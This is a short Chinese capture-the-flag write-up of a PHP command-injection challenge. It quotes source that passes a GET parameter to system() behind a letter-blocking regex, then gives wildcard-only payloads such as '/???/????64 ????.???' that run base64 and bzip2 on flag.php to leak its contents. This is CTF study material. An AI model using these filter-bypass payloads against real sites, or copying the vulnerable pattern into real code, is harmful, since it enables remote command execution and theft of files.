加上了羽师傅,本文的新姿势都是通过羽师傅提供的,非常感谢
下面是羽师傅提供的方法
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
还是查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。发现存在一个base64
base64的使用
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2
进行下载获得flag.php
最后附上羽师傅的csnd
https://blog.csdn.net/miuzzx